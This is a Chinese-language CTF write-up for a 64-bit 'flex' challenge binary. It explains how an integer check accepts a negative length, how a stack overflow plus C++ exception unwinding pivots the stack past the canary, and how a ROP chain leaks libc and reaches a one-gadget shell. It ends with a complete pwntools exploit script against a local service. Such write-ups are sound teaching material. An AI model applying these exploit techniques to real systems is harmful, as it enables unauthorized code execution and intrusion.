题目复现

$ file flex 
flex: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=30a1acbc98ccf9e8f4b3d1fc06b6ba6f0cbe7c9e, stripped
$ checksec -f flex 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY  Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes      0               4       flex

可以看到开启了 Canary,本题的关键就是利用某种神秘机制(C++异常处理机制)绕过它。

随便玩一下,了解程序的基本功能:

$ ./flex 
1.start flexmd5
2.start flexsha256
3.start flexsha1
4.test security
0 quit
option:
1
FlexMD5 bruteforce tool V0.1
custom md5 state (yes/No)
No
custom charset (yes/No)
yes
charset length:
10
charset:
a
bruteforce message pattern:
aaaa

把程序跑起来:

$ socat tcp4-listen:10001,reuseaddr,fork exec:./flex &

C++ 异常处理机制

$ ldd flex 
        linux-vdso.so.1 (0x00007ffcd837a000)
        libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0x00007f748fe72000)
        libgcc_s.so.1 => /usr/lib/libgcc_s.so.1 (0x00007f748fc5b000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007f748f8a3000)
        libm.so.6 => /usr/lib/libm.so.6 (0x00007f748f557000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f74901f9000)

所以这个程序是一个 C 和 C++ 混合编译的,以便处理异常。

当用户 throw 一个异常时,编译器会帮我们调用相应的函数分配 _cxa_exception 就是头部,exception_obj。异常对象由函数 __cxa_allocate_exception() 进行创建,最后由 __cxa_free_exception() 进行销毁。当我们在程序里执行了抛出异常后,编译器做了如下的事情:

  1. 调用 __cxa_allocate_exception 函数,分配一个异常对象
  2. 调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化
  3. __cxa_throw() 调用 Itanium ABI 里的 _Unwind_RaiseException() 从而开始 unwind,unwind 分为两个阶段,分别进行搜索 catch 及清理调用栈
  4. _Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine(__gxx_personality_v0
  5. 如果该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。
  6. _Unwind_RaiseException() 将控制权转到相应的 catch 代码
  7. unwind 完成,用户代码继续执行

具体内容查看参考资料。

题目解析

程序的第四个选项很吸引人,但似乎没有发现什么突破点,而第一个选项可以输入的东西较多,问题应该在这里,查看该函数 sub.bruteforcing_start:_500

[0x00400d80]> pdf @ sub.bruteforcing_start:_500
/ (fcn) sub.bruteforcing_start:_500 63
|   sub.bruteforcing_start:_500 ();
|              ; CALL XREF from 0x00402200 (main)
|           0x00401500      55             push rbp
|           0x00401501      4889e5         mov rbp, rsp
|           0x00401504      4883ec10       sub rsp, 0x10
|           0x00401508      e83bfcffff     call sub.FlexMD5_bruteforce_tool_V0.1_148
|           0x0040150d      e87dfaffff     call fcn.00400f8f
|           0x00401512      bf4f464000     mov edi, str.bruteforcing_start: ; 0x40464f ; "bruteforcing start:"
|           0x00401517      e8b4f6ffff     call sym.imp.puts           ; int puts(const char *s)
|              ; JMP XREF from 0x00401534 (sub.bruteforcing_start:_500)
|       .-> 0x0040151c      e88cfeffff     call sub.strlen_3ad         ; size_t strlen(const char *s)
|       :   0x00401521      85c0           test eax, eax
|       :   0x00401523      0f94c0         sete al
|       :   0x00401526      84c0           test al, al
|      ,==< 0x00401528      740c           je 0x401536
|      |:   0x0040152a      bf01000000     mov edi, 1
|      |:   0x0040152f      e83cf7ffff     call sym.imp.sleep          ; int sleep(int s)
|      |`=< 0x00401534      ebe6           jmp 0x40151c
|      |       ; JMP XREF from 0x00401528 (sub.bruteforcing_start:_500)
|      |       ; JMP XREF from 0x0040155d (sub.bruteforcing_start:_500 + 93)
|      `.-> 0x00401536      b800000000     mov eax, 0                   ; 异常处理代码
|      ,==< 0x0040153b      eb22           jmp 0x40155f
       |:   0x0040153d      4883fa01       cmp rdx, 1                  ; 1 ; 如果成功捕获异常,则跳转到这里
      ,===< 0x00401541      7408           je 0x40154b                  ; 跳转
      ||:   0x00401543      4889c7         mov rdi, rax
      ||:   0x00401546      e8f5f7ffff     call sym.imp._Unwind_Resume
      ||:      ; JMP XREF from 0x00401541 (sub.bruteforcing_start:_500 + 65)
      `---> 0x0040154b      4889c7         mov rdi, rax
       |:   0x0040154e      e8bdf7ffff     call sym.imp.__cxa_begin_catch
       |:   0x00401553      8b00           mov eax, dword [rax]
       |:   0x00401555      8945fc         mov dword [rbp - 4], eax
       |:   0x00401558      e8a3f7ffff     call sym.imp.__cxa_end_catch
       |`=< 0x0040155d      ebd7           jmp 0x401536                ; sub.bruteforcing_start:_500+0x36
|      |       ; JMP XREF from 0x0040153b (sub.bruteforcing_start:_500)
|      `--> 0x0040155f      c9             leave
\           0x00401560      c3             ret                          ; ret 到 payload_2

函数 sub.FlexMD5_bruteforce_tool_V0.1_148

[0x00400d80]> pdf @ sub.FlexMD5_bruteforce_tool_V0.1_148 
/ (fcn) sub.FlexMD5_bruteforce_tool_V0.1_148 613
|   sub.FlexMD5_bruteforce_tool_V0.1_148 ();
|           ; var int local_124h @ rbp-0x124
|           ; var int local_120h @ rbp-0x120
|           ; var int local_18h @ rbp-0x18
|              ; CALL XREF from 0x00401508 (sub.bruteforcing_start:_500)
|           0x00401148      55             push rbp
|           0x00401149      4889e5         mov rbp, rsp
|           0x0040114c      53             push rbx
|           0x0040114d      4881ec280100.  sub rsp, 0x128
|           0x00401154      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x0040115d      488945e8       mov qword [local_18h], rax
|           0x00401161      31c0           xor eax, eax
|           0x00401163      bf47454000     mov edi, str.FlexMD5_bruteforce_tool_V0.1 ; 0x404547 ; "FlexMD5 bruteforce tool V0.1"
|           0x00401168      e863faffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0040116d      bf64454000     mov edi, str.custom_md5_state__yes_No_ ; 0x404564 ; "custom md5 state (yes/No)"                                                            
|           0x00401172      e859faffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00401177      488d85e0feff.  lea rax, [local_120h]
|           0x0040117e      be04000000     mov esi, 4
|           0x00401183      4889c7         mov rdi, rax
|           0x00401186      e8ebfcffff     call sub.read_e76           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x0040118b      488d85e0feff.  lea rax, [local_120h]
|           0x00401192      ba03000000     mov edx, 3
|           0x00401197      be7e454000     mov esi, 0x40457e           ; "yes"
|           0x0040119c      4889c7         mov rdi, rax
|           0x0040119f      e85cfaffff     call sym.imp.strncmp        ; int strncmp(const char *s1, const char *s2, size_t n)
|           0x004011a4      85c0           test eax, eax
|       ,=< 0x004011a6      755e           jne 0x401206
|       |   0x004011a8      c705f24f2000.  mov dword [0x006061a4], 1   ; [0x6061a4:4]=0
|       |   0x004011b2      bf82454000     mov edi, str.initial_state_0_: ; 0x404582 ; "initial state[0]:"
|       |   0x004011b7      e814faffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x004011bc      e884fdffff     call sub.atoi_f45           ; int atoi(const char *str)
|       |   0x004011c1      8905e94f2000   mov dword [0x006061b0], eax ; [0x6061b0:4]=0
|       |   0x004011c7      bf94454000     mov edi, str.initial_state_1_: ; 0x404594 ; "initial state[1]:"
|       |   0x004011cc      e8fff9ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x004011d1      e86ffdffff     call sub.atoi_f45           ; int atoi(const char *str)
|       |   0x004011d6      8905d84f2000   mov dword [0x006061b4], eax ; [0x6061b4:4]=0
|       |   0x004011dc      bfa6454000     mov edi, str.initial_state_2_: ; 0x4045a6 ; "initial state[2]:"
|       |   0x004011e1      e8eaf9ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x004011e6      e85afdffff     call sub.atoi_f45           ; int atoi(const char *str)
|       |   0x004011eb      8905c74f2000   mov dword [0x006061b8], eax ; [0x6061b8:4]=0
|       |   0x004011f1      bfb8454000     mov edi, str.initial_state_3_: ; 0x4045b8 ; "initial state[3]:"
|       |   0x004011f6      e8d5f9ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x004011fb      e845fdffff     call sub.atoi_f45           ; int atoi(const char *str)
|       |   0x00401200      8905b64f2000   mov dword [0x006061bc], eax ; [0x6061bc:4]=0
|       |      ; JMP XREF from 0x004011a6 (sub.FlexMD5_bruteforce_tool_V0.1_148)
|       `-> 0x00401206      bfca454000     mov edi, str.custom_charset__yes_No_ ; 0x4045ca ; "custom charset (yes/No)"
|           0x0040120b      e8c0f9ffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00401210      488d85e0feff.  lea rax, [local_120h]
|           0x00401217      be04000000     mov esi, 4
|           0x0040121c      4889c7         mov rdi, rax
|           0x0040121f      e852fcffff     call sub.read_e76           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00401224      488d85e0feff.  lea rax, [local_120h]
|           0x0040122b      ba03000000     mov edx, 3
|           0x00401230      be7e454000     mov esi, 0x40457e           ; "yes"
|           0x00401235      4889c7         mov rdi, rax
|           0x00401238      e8c3f9ffff     call sym.imp.strncmp        ; int strncmp(const char *s1, const char *s2, size_t n)
|           0x0040123d      85c0           test eax, eax
|       ,=< 0x0040123f      0f858a000000   jne 0x4012cf
|       |   0x00401245      c705554f2000.  mov dword [0x006061a4], 1   ; [0x6061a4:4]=0
|       |   0x0040124f      bfe2454000     mov edi, str.charset_length: ; 0x4045e2 ; "charset length:"
|       |   0x00401254      e877f9ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x00401259      e8e7fcffff     call sub.atoi_f45           ; int atoi(const char *str) ; 读入字符串并转换成整型数
|       |   0x0040125e      8905ac4e2000   mov dword [0x00606110], eax ; [0x606110:4]=62
|       |   0x00401264      8b05a64e2000   mov eax, dword [0x00606110] ; [0x606110:4]=62
|       |   0x0040126a      3d00010000     cmp eax, 0x100              ; 256 ; 比较大小
|      ,==< 0x0040126f      7e22           jle 0x401293                 ; eax < 256 时跳转 ; 这里我们输入一个负数即可成功跳转
|      ||   0x00401271      bf04000000     mov edi, 4
|      ||   0x00401276      e855faffff     call sym.imp.__cxa_allocate_exception
|      ||   0x0040127b      c70002000000   mov dword [rax], 2
|      ||   0x00401281      ba00000000     mov edx, 0
|      ||   0x00401286      be70616000     mov esi, obj.typeinfoforint ; 0x606170
|      ||   0x0040128b      4889c7         mov rdi, rax
|      ||   0x0040128e      e85dfaffff     call sym.imp.__cxa_throw
|      ||      ; JMP XREF from 0x0040126f (sub.FlexMD5_bruteforce_tool_V0.1_148)
|      `--> 0x00401293      bff2454000     mov edi, str.charset:       ; 0x4045f2 ; "charset:"
|       |   0x00401298      e833f9ffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x0040129d      8b056d4e2000   mov eax, dword [0x00606110] ; [0x606110:4]=62 ; 取出数字
|       |   0x004012a3      83c001         add eax, 1                   ; eax += 1
|       |   0x004012a6      89c2           mov edx, eax
|       |   0x004012a8      488d85e0feff.  lea rax, [local_120h]
|       |   0x004012af      89d6           mov esi, edx
|       |   0x004012b1      4889c7         mov rdi, rax
|       |   0x004012b4      e8bdfbffff     call sub.read_e76           ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 该函数内调用 read(0, [local_120h], esi) 读入我们的 payload_1,由于esi是一个负数,而 0x00400ea8 jae 0x400ef3 处是与一个非负数比较,永远不会相等,即可以读入以换行符结尾的任意数量字符
|       |   0x004012b9      488d85e0feff.  lea rax, [local_120h]
|       |   0x004012c0      4889c7         mov rdi, rax
|       |   0x004012c3      e8e8f9ffff     call sym.imp.strdup         ; char *strdup(const char *src) ; 在堆中复制一个字符串的副本
|       |   0x004012c8      488905494e20.  mov qword str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789, rax ; [0x606118:8]=0x404508 str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
|       |      ; JMP XREF from 0x0040123f (sub.FlexMD5_bruteforce_tool_V0.1_148)
|       `-> 0x004012cf      bffb454000     mov edi, str.bruteforce_message_pattern: ; 0x4045fb ; "bruteforce message pattern:"
|           0x004012d4      e8f7f8ffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004012d9      be00040000     mov esi, 0x400              ; 1024
|           0x004012de      bfc0616000     mov edi, 0x6061c0
|           0x004012e3      e836fcffff     call sub.read_f1e           ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 调用 read(0, 0x6061c0, 0x400) 读入 payload_2
|           0x004012e8      bfc0616000     mov edi, 0x6061c0
|           0x004012ed      e85ef9ffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x004012f2      8905a84e2000   mov dword [0x006061a0], eax ; [0x6061a0:4]=0
|           0x004012f8      c785dcfeffff.  mov dword [local_124h], 0
|              ; JMP XREF from 0x00401334 (sub.FlexMD5_bruteforce_tool_V0.1_148)
|       .-> 0x00401302      8b85dcfeffff   mov eax, dword [local_124h]
|       :   0x00401308      4863d8         movsxd rbx, eax              ; 将 rbx 初始化为 0
|       :   0x0040130b      bfc0616000     mov edi, 0x6061c0            ; paylaod_2 的地址
|       :   0x00401310      e83bf9ffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|       :   0x00401315      4839c3         cmp rbx, rax                 ; 比较 rbx 和 rax,rax 是字符串长度返回值
|      ,==< 0x00401318      731d           jae 0x401337                 ; 相等时跳转
|      |:   0x0040131a      8b85dcfeffff   mov eax, dword [local_124h]
|      |:   0x00401320      4898           cdqe
|      |:   0x00401322      0fb680c06160.  movzx eax, byte [rax + 0x6061c0] ; [0x6061c0:1]=0
|      |:   0x00401329      3c2e           cmp al, 0x2e                ; '.' ; 46
|     ,===< 0x0040132b      7409           je 0x401336
|     ||:   0x0040132d      8385dcfeffff.  add dword [local_124h], 1    ; rbx += 1
|     ||`=< 0x00401334      ebcc           jmp 0x401302
|     ||       ; JMP XREF from 0x0040132b (sub.FlexMD5_bruteforce_tool_V0.1_148)
|     `---> 0x00401336      90             nop
|      |       ; JMP XREF from 0x00401318 (sub.FlexMD5_bruteforce_tool_V0.1_148)
|      `--> 0x00401337      8b85dcfeffff   mov eax, dword [local_124h]
|           0x0040133d      4863d8         movsxd rbx, eax
|           0x00401340      bfc0616000     mov edi, 0x6061c0
|           0x00401345      e806f9ffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x0040134a      4839c3         cmp rbx, rax                 ; 比较 rbx 和 rax
|       ,=< 0x0040134d      7522           jne 0x401371                 ; 如果相等,则进入异常处理机制,利用该机制可 leave;ret 到 payload_2
|       |   0x0040134f      bf04000000     mov edi, 4                               ; 参数 edi = 4
|       |   0x00401354      e877f9ffff     call sym.imp.__cxa_allocate_exception    ; 创建异常对象,返回对象地址 rax
|       |   0x00401359      c70000000000   mov dword [rax], 0                       ; 初始化为 0
|       |   0x0040135f      ba00000000     mov edx, 0                               ; 参数 edx = 0
|       |   0x00401364      be70616000     mov esi, obj.typeinfoforint ; 0x606170   ; 参数 esi = 0x606170
|       |   0x00401369      4889c7         mov rdi, rax                             ; 参数 rdi = rax
|       |   0x0040136c      e87ff9ffff     call sym.imp.__cxa_throw     ; 对异常对象做一些初始化,这里会跳转到 0x0040153d
|       |      ; JMP XREF from 0x0040134d (sub.FlexMD5_bruteforce_tool_V0.1_148)
|       `-> 0x00401371      bf17464000     mov edi, str.md5_pattern:   ; 0x404617 ; "md5 pattern:"
|           0x00401376      e855f8ffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0040137b      be21000000     mov esi, 0x21               ; '!' ; 33
|           0x00401380      bfc0656000     mov edi, 0x6065c0
|           0x00401385      e8ecfaffff     call sub.read_e76           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x0040138a      b800000000     mov eax, 0
|           0x0040138f      488b4de8       mov rcx, qword [local_18h]
|           0x00401393      6448330c2528.  xor rcx, qword fs:[0x28]
|       ,=< 0x0040139c      7405           je 0x4013a3
|       |   0x0040139e      e81df9ffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x0040139c (sub.FlexMD5_bruteforce_tool_V0.1_148)
|       `-> 0x004013a3      4881c4280100.  add rsp, 0x128
|           0x004013aa      5b             pop rbx
|           0x004013ab      5d             pop rbp
\           0x004013ac      c3             ret

函数 sub.atoi_f45 将字符串转换成长整型数:

[0x00400d80]> pdf @ sub.atoi_f45
/ (fcn) sub.atoi_f45 74
|   sub.atoi_f45 ();
|           ; var int local_20h @ rbp-0x20
|           ; var int local_8h @ rbp-0x8
|              ; XREFS: CALL 0x004021f2  CALL 0x004011bc  CALL 0x004011d1  CALL 0x004011e6  CALL 0x004011fb  CALL 0x00401259  CALL 0x004015d9  CALL 0x00402136  
|           0x00400f45      55             push rbp
|           0x00400f46      4889e5         mov rbp, rsp
|           0x00400f49      4883ec20       sub rsp, 0x20
|           0x00400f4d      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00400f56      488945f8       mov qword [local_8h], rax
|           0x00400f5a      31c0           xor eax, eax
|           0x00400f5c      488d45e0       lea rax, [local_20h]
|           0x00400f60      be0b000000     mov esi, 0xb                ; 11
|           0x00400f65      4889c7         mov rdi, rax
|           0x00400f68      e809ffffff     call sub.read_e76           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00400f6d      488d45e0       lea rax, [local_20h]         ; local_20h 指向读入的字符串
|           0x00400f71      4889c7         mov rdi, rax                 ; rdi = rax
|           0x00400f74      e807fdffff     call sym.imp.atoi           ; int atoi(const char *str) ; 将字符串转换成长整型
|           0x00400f79      488b55f8       mov rdx, qword [local_8h]
|           0x00400f7d      644833142528.  xor rdx, qword fs:[0x28]
|       ,=< 0x00400f86      7405           je 0x400f8d
|       |   0x00400f88      e833fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00400f86 (sub.atoi_f45)
|       `-> 0x00400f8d      c9             leave
\           0x00400f8e      c3             ret

可以看到该函数并未对所输入的数字进行验证,所以我们可以输入负数,因为计算机中数字是以补码的形式存在,例如 -2 = 0xfffffffffffffffe。这个数字加 1 后,作为读入字符串个数的判定,因为个数不能为负,我们就可以开心地读入后面的 payload 了。

这个程序中读入操作使用函数 sub.read_e76,该函数内部有一个循环,每次读入一个字符,如果遇到换行符,则完成退出。

[0x00400d80]> pdf @ sub.read_e76
/ (fcn) sub.read_e76 168
|   sub.read_e76 ();
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_18h @ rbp-0x18
|           ; var int local_dh @ rbp-0xd
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|              ; XREFS: CALL 0x00400f68  CALL 0x00401186  CALL 0x0040121f  CALL 0x004012b4  CALL 0x00401385  CALL 0x0040159f  CALL 0x00401634  CALL 0x00401663  
|              ; XREFS: CALL 0x00401705  CALL 0x00401d4f  
|           0x00400e76      55             push rbp
|           0x00400e77      4889e5         mov rbp, rsp
|           0x00400e7a      4883ec20       sub rsp, 0x20
|           0x00400e7e      48897de8       mov qword [local_18h], rdi
|           0x00400e82      8975e4         mov dword [local_1ch], esi
|           0x00400e85      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00400e8e      488945f8       mov qword [local_8h], rax
|           0x00400e92      31c0           xor eax, eax
|           0x00400e94      c745f4000000.  mov dword [local_ch], 0
|           0x00400e9b      c745f4000000.  mov dword [local_ch], 0
|              ; JMP XREF from 0x00400ef1 (sub.read_e76)
|       .-> 0x00400ea2      8b45f4         mov eax, dword [local_ch]    ; 循环起点,local_ch 存放已输入字符数量
|       :   0x00400ea5      3b45e4         cmp eax, dword [local_1ch]   ; 允许读入的数量
|      ,==< 0x00400ea8      7349           jae 0x400ef3                 ; 相等时跳转 (当读入payload_!时,由于我们输入的是一个负数,而 eax 是非负数,永远不会相等)
|      |:   0x00400eaa      488d45f3       lea rax, [local_dh]
|      |:   0x00400eae      ba01000000     mov edx, 1                   ; nbyte = 1
|      |:   0x00400eb3      4889c6         mov rsi, rax                 ; buf = rsi = [local_dh]
|      |:   0x00400eb6      bf00000000     mov edi, 0                   ; fildes = edi = 0
|      |:   0x00400ebb      e830fdffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 每次读入 1 个字符
|      |:   0x00400ec0      0fb645f3       movzx eax, byte [local_dh]   ; 取出输入字符
|      |:   0x00400ec4      3c0a           cmp al, 0xa                 ; 10 ; 比较输入字符是不是 '\n'
|     ,===< 0x00400ec6      7515           jne 0x400edd                 ; 不是则跳转
|     ||:   0x00400ec8      8b55f4         mov edx, dword [local_ch]
|     ||:   0x00400ecb      488b45e8       mov rax, qword [local_18h]
|     ||:   0x00400ecf      4801d0         add rax, rdx                ; '('
|     ||:   0x00400ed2      c60000         mov byte [rax], 0
|     ||:   0x00400ed5      8b45f4         mov eax, dword [local_ch]
|     ||:   0x00400ed8      83c001         add eax, 1
|    ,====< 0x00400edb      eb2b           jmp 0x400f08
|    |||:      ; JMP XREF from 0x00400ec6 (sub.read_e76)
|    |`---> 0x00400edd      8b55f4         mov edx, dword [local_ch]    ; 取出字符数量
|    | |:   0x00400ee0      488b45e8       mov rax, qword [local_18h]   ; local_18h 为目标初始地址
|    | |:   0x00400ee4      4801c2         add rdx, rax                ; '#' ; rdx 指向目标地址
|    | |:   0x00400ee7      0fb645f3       movzx eax, byte [local_dh]   ; 取出读入字符
|    | |:   0x00400eeb      8802           mov byte [rdx], al           ; 将读入字符存放到 [rdx]
|    | |:   0x00400eed      8345f401       add dword [local_ch], 1      ; local_ch += 1
|    | |`=< 0x00400ef1      ebaf           jmp 0x400ea2                 ; 循环,继续读入字符
|    | |       ; JMP XREF from 0x00400ea8 (sub.read_e76)
|    | `--> 0x00400ef3      8b45e4         mov eax, dword [local_1ch]
|    |      0x00400ef6      83e801         sub eax, 1
|    |      0x00400ef9      89c2           mov edx, eax
|    |      0x00400efb      488b45e8       mov rax, qword [local_18h]
|    |      0x00400eff      4801d0         add rax, rdx                ; '('
|    |      0x00400f02      c60000         mov byte [rax], 0
|    |      0x00400f05      8b45f4         mov eax, dword [local_ch]
|    |         ; JMP XREF from 0x00400edb (sub.read_e76)
|    `----> 0x00400f08      488b4df8       mov rcx, qword [local_8h]    ; 读完字符串,跳出循环
|           0x00400f0c      6448330c2528.  xor rcx, qword fs:[0x28]
|       ,=< 0x00400f15      7405           je 0x400f1c
|       |   0x00400f17      e8a4fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00400f15 (sub.read_e76)
|       `-> 0x00400f1c      c9             leave
\           0x00400f1d      c3             ret

分析完了,接下来就写 exp 吧。

漏洞利用

stack pivot

0x004012b4 下断点,以检查溢出点:

gdb-peda$ x/s $rbp
0x7fffffffe3f0: "5A%KA%gA%6A%"
gdb-peda$ pattern_offset 5A%KA%gA%6A%
5A%KA%gA%6A% found at offset: 288

所以缓冲区的长度为 288 / 8 = 36。利用缓冲区溢出覆盖掉 rbp,在异常处理过程中,unwind 例程向上一级一级地找异常处理函数,然后恢复相关数据,这样就将栈转移到了新地址:

# stack pivot
payload_1  = "AAAAAAAA" * 36
payload_1 += p64(pivote_addr)
payload_1 += p64(unwind_addr)

unwind_addr 必须是调用函数里的一个地址,这样抛出的异常才能被调用函数内的异常处理函数 catch。

get puts address

异常处理函数结束后,执行下面两句:

|      `--> 0x0040155f      c9             leave
\           0x00401560      c3             ret                          ; ret 到 payload_2

通常情况下我们构造 rop 调用 read() 读入 one-gadget 来获得 shell,但可用的 gadget 只能控制 rdi 和 rsi,而不能控制 rdx。所以必须通过函数 sub.read_f1e 来做到这一点。

$ ropgadget --binary flex --only "pop|ret"
...
0x00000000004044d3 : pop rdi ; ret
0x00000000004044d1 : pop rsi ; pop r15 ; ret
[0x00400d80]> pdf @ sub.read_f1e 
/ (fcn) sub.read_f1e 39
|   sub.read_f1e ();
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|              ; CALL XREF from 0x004012e3 (sub.FlexMD5_bruteforce_tool_V0.1_148)
|           0x00400f1e      55             push rbp
|           0x00400f1f      4889e5         mov rbp, rsp
|           0x00400f22      4883ec10       sub rsp, 0x10
|           0x00400f26      48897df8       mov qword [local_8h], rdi
|           0x00400f2a      488975f0       mov qword [local_10h], rsi
|           0x00400f2e      488b55f0       mov rdx, qword [local_10h]   ; rdx = 传入的 rsi
|           0x00400f32      488b45f8       mov rax, qword [local_8h]
|           0x00400f36      4889c6         mov rsi, rax                 ; rsi = 传入的 rdi
|           0x00400f39      bf00000000     mov edi, 0                   ; fildes = 0
|           0x00400f3e      e8adfcffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00400f43      c9             leave
\           0x00400f44      c3             ret

构造 paylode_2 打印出 puts 的地址,并调用 read_f1e 读入 payload_3 到 pivote_addr + 0x50 的位置:

# get puts address
payload_2  = "AAAAAAAA"
payload_2 += p64(pop_rdi)
payload_2 += p64(puts_got)
payload_2 += p64(puts_plt)
payload_2 += p64(pop_rdi)
payload_2 += p64(pivote_addr + 0x50)
payload_2 += p64(pop_rsi_r15)
payload_2 += p64(8)
payload_2 += "AAAAAAAA"
payload_2 += p64(read_f1e)

io.sendline(payload_2)
io.recvuntil("pattern:\n")
puts_addr = io.recvuntil("\n")[:-1].ljust(8,"\x00")
puts_addr = u64(puts_addr)

get shell

找到 libc 的 do_system 函数里的 one-gadget 地址为 0x00041ee7

|           0x00041ee7      488b056aff36.  mov rax, qword [0x003b1e58] ; [0x3b1e58:8]=0
|           0x00041eee      488d3d409313.  lea rdi, str._bin_sh        ; 0x17b235 ; "/bin/sh"
|           0x00041ef5      c70521253700.  mov dword [obj.lock_4], 0   ; [0x3b4420:4]=0
|           0x00041eff      c7051b253700.  mov dword [obj.sa_refcntr], 0 ; [0x3b4424:4]=0
|           0x00041f09      488d742430     lea rsi, [local_30h]        ; sym.lm_cache ; 0x30
|           0x00041f0e      488b10         mov rdx, qword [rax]
|           0x00041f11      67e8c9260800   call sym.execve

通过泄露出的 puts 地址,计算符号偏移得到 one-gadget 地址,构造 payload_3:

libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + 0x00041ee7

# get shell
payload_3 = p64(one_gadget)

Bingo!!!

$ python2 exp.py 
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] '/usr/lib/libc-2.26.so'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ whoami
firmy

exploit

完整的 exp 如下:

from pwn import *

io = remote('127.0.0.1', 10001)
libc = ELF('/usr/lib/libc-2.26.so')

io.recvuntil("option:\n")
io.sendline("1")
io.recvuntil("(yes/No)")
io.sendline("No")
io.recvuntil("(yes/No)")
io.sendline("yes")
io.recvuntil("length:")
io.sendline('-3')
io.recvuntil("charset:")

puts_plt = 0x00400bD0
puts_got = 0x00606020
read_f1e = 0x00400f1e
pop_rdi = 0x004044d3        # pop rdi ; ret
pop_rsi_r15 = 0x004044d1    # pop rsi ; pop r15 ; ret

pivote_addr = 0x6061C0
unwind_addr = 0x00401509    # make sure unwind can find the catch routine

# stack pivot
payload_1  = "AAAAAAAA" * 36
payload_1 += p64(pivote_addr)
payload_1 += p64(unwind_addr)

io.sendline(payload_1)
io.recvuntil("\n")

# get puts address
payload_2  = "AAAAAAAA"       # fake ebp
payload_2 += p64(pop_rdi)
payload_2 += p64(puts_got)
payload_2 += p64(puts_plt)
payload_2 += p64(pop_rdi)
payload_2 += p64(pivote_addr + 0x50)
payload_2 += p64(pop_rsi_r15)
payload_2 += p64(8)
payload_2 += "AAAAAAAA"
payload_2 += p64(read_f1e)

io.sendline(payload_2)
io.recvuntil("pattern:\n")
puts_addr = io.recvuntil("\n")[:-1].ljust(8,"\x00")
puts_addr = u64(puts_addr)

libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + 0x00041ee7

# get shell
payload_3 = p64(one_gadget)

io.sendline(payload_3)
io.interactive()

最后建议读者自己多调试几遍,以加深对异常处理机制的理解。

参考资料